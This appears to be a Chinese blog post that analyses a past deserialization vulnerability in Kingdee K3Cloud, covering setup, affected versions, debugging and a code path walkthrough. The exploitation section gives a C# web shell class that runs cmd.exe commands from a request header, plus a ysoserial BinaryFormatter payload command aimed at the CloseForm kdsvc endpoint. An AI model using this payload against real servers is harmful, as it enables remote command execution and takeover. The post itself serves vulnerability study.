⾦蝶K3Cloud反序列化分析及利⽤

前言:这个漏洞已经是去年的了,今天拿出来学习下其漏洞原理,顺便进行记录下

参考文章:https://www.websecuritys.cn/index.php/archives/667/
参考文章:https://learn.microsoft.com/zh-cn/dotnet/framework/debug-trace-profile/making-an-image-easier-to-debug
参考文章:https://pkgsfile.open.kingdee.com/DVD/V81E/K3Cloud_V8.1_DVD.zip

环境搭建

机器:2h16g 磁盘100g(用于装数据库使用)

K3Cloud 8.1:https://pkgsfile.open.kingdee.com/DVD/V81E/K3Cloud_V8.1_DVD.zip

MSSQL 2012 SP3:https://download.microsoft.com/download/5/5/9/559396D3-C62B-4BD6-B9BC-527C71C4A461/CHS/x86/SQLEXPR_x86_CHS.exe

安装完登录选项如下,开启其他机器访问,要不然不方便调试。

漏洞分析

影响

6.x版本:低于6.2.1012.4

7.x版本:7.0.352.16 至 7.7.0.202111

8.x版本:8.0.0.202205 至 8.1.0.20221110

调试

参考文章:https://learn.microsoft.com/zh-cn/dotnet/framework/debug-trace-profile/making-an-image-easier-to-debug

这边附加的进程直接附加w3wp进程前台K3Cloud来进行调试,k3cloud主要分为两个部分,分别就是K3Cloud前台(80端口)和ManageSite后台(8000端口),如下图所示

注:因为程序都是Release发布的,Release的使⽤VS调试⾃带的程序⼀样代码会被优化,微软官⽅提供了对应的调试解决⽅案,在dll所在⽬录创建⼀个同名的ini⽂件,内容如下所示,最后然后重启IIS即可生效。

注:通过设置环境变量同样可行

[.NET Framework Debugging Control]
GenerateTrackingInfo=1
AllowOptimize=0

这里提供一个bat脚本进行生成

@echo off
setlocal enabledelayedexpansion
REM 遍历当前目录下所有的 DLL 文件
for %%f in (*.dll) do (
REM 将 DLL 文件名的扩展名替换为 .ini
set "ini_file=%%~nf.ini"
REM 写入指定的内容到 .ini 文件
(
echo [.NET Framework Debugging Control]
echo GenerateTrackingInfo=1
echo AllowOptimize=0
) > "!ini_file!"
)
echo INI文件生成完成。
pause

跟进KDSVC后缀路径解析Kingdee.BOS.ServiceFacade.KDServiceFx.KDServiceHandler入口点,对应文件位于

不匹配_pr_.kdsvc 或者 _prs_.kdsvc 或者 /a 这三种的时候,会返回KDSVCHandler处理器

跟进KDSVCHandler可以看到ProcessRequest和ProcessRequestInternal方法的实现

ProcessRequest主要就是解析了客户端传来的数据并将其根据Content-Type的不同来进行封装RequestExtractor对象

封装完RequestExtractor对象交给ProcessRequestInternal来进行下一步的处理

注:通过ASP执行流程可以知道先执行ProcessRequest后执行ProcessRequestInternal

ProcessRequestInternal方法这边正常流程跟进到ExecuteRequest方法

通过UriUtils.Validate方法来验证路径对应的文件的是否存在

接着就是来到RequestExcuteRuntime.StartRequest方法,这边会对一些session进行处理,接着就会来到ServiceTypeManager.BuidServiceType方法中

ServiceTypeManager.BuidServiceType方法会根据路径来加载对应的程序集,如果请求路径末尾为kdsvc,但是不包含common.kdsvc的话那么会进行XmlSerializer反序列化的方式来进行加载

接着就会来到金蝶自定义的一个管道pipeline执行流程

其中默认的管道模块是由ModulePipelineBuilder来进行构建的,每个如下图所示

ModulePipeline会将其封装好的KDServiceContext作为参数传入每个ModulePipeline的OnProcess方法中进行处理

其中导致反序列化的地方就是其中的ExecuteServiceModule模块的OnProcess方法开始的,如下图所示

ExecuteServiceModule模块的OnProcess方法主要就是验证了客户端传来的数据以及判断了数据类型是如何,然后通过SerializerProxy来进行封装

这里的SerializerProxy是由SerializerManager.Create创建的,它会根据客户端传来的format参数来返回对应类型的SerializerProxy

接着将封装完的SerializerProxy传入到this.executor.Execute方法中,根据数据类型用DeserializeParameters对其中的数据进行反序列化触发漏洞,如下图所示

可以看到数据无任何校验就直接进行serializer.Deserialize反序列化

利用

当传入的路径为Kingdee.BOS.ServiceFacade.ServicesStub.DynamicForm.DynamicFormService.CloseForm.common.kdsvc,其中变量赋值的过程是如下

svcFullName=Kingdee.BOS.ServiceFacade.ServicesStub.DynamicForm.DynamicFormService.CloseForm.common.kdsvc
text=.common.kdsvc
text2=Kingdee.BOS.ServiceFacade.ServicesStub
text3=ServicesStub
text4=CloseForm
text5=DynamicFormService
text6=Kingdee.BOS.ServiceFacade.ServicesStub.DynamicForm

serviceType.ServiceName=Kingdee.BOS.ServiceFacade.ServicesStub.DynamicForm.DynamicFormService.CloseForm
fullNameKingdee.BOS.ServiceFacade.ServicesStub.DynamicForm.DynamicFormService

这边直接跟到Kingdee.BOS.ServiceFacade.ServicesStub.DynamicForm.DynamicFormService.CloseForm

public string CloseForm(JSONArray pparams)
{
foreach (object obj in pparams)
{
JSONObject jsonobject = (JSONObject)obj;
string value = jsonobject.GetValue<string>("servicename", "");
string text = "CloseForm";
string value2 = jsonobject.GetValue<string>("pageid", "");
JSONArray value3 = jsonobject.GetValue<JSONArray>("paramdata", null);
this.Call(value, value2, text, value3);
}
return null;
}

最终反序列化的过程中还校验了传入参数的类型,只有当类型不是为string,IsEnum,int,byte,float,double,long,datetime,decimal,bool的时候才会通过反序列化SerializerProxy来处理这段数据

public object Deserialize(string content, Type type)
{
if (string.IsNullOrEmpty(content))
{
if (type.IsValueType)
{
return Activator.CreateInstance(type);
}
if (type.Equals(typeof(string)))
{
return content;
}
return null;
}
else if (type == typeof(string))
{
if (this.proxy.RequireEncoding)
{
byte[] array = this.proxy.Encoder.Decoding(content);
return this.encoding.GetString(array, 0, array.Length);
}
return content;
}
else
{
if (type.IsEnum)
{
return Enum.Parse(type, content, true);
}
if (type == typeof(int))
{
return int.Parse(content);
}
if (type == typeof(byte))
{
return byte.Parse(content);
}
if (type == typeof(float))
{
return float.Parse(content);
}
if (type == typeof(double))
{
return double.Parse(content);
}
if (type == typeof(long))
{
return long.Parse(content);
}
if (type == typeof(DateTime))
{
return DateTime.Parse(content);
}
if (type == typeof(decimal))
{
return decimal.Parse(content);
}
if (type == typeof(bool))
{
return bool.Parse(content);
}
return this.proxy.Deserialize(content, type);
}
}

构造Binary格式的SerializerProxy序列化代理器即可,对应的format参数为3

cmd.cs

class E
{
public E()
{
System.Web.HttpContext context = System.Web.HttpContext.Current;
context.Server.ClearError();
context.Response.Clear();
try
{
System.Diagnostics.Process process = new System.Diagnostics.Process();
process.StartInfo.FileName = "cmd.exe";
string cmd = context.Request.Headers["cmd"];
process.StartInfo.Arguments = "/c " + cmd;
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.RedirectStandardError = true;
process.StartInfo.UseShellExecute = false;
process.Start();
string output = process.StandardOutput.ReadToEnd();
context.Response.Write(output);
} catch (System.Exception) {}
context.Response.Flush();
context.Response.End();
}
}

ysoserial.exe -g ActivitySurrogateSelectorFromFile -c "cmd.cs;System.Web.dll;System.dll" -f binaryformatter

缓解措施

posted @   zpchcbd  阅读(192)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
点击右上角即可分享
微信分享提示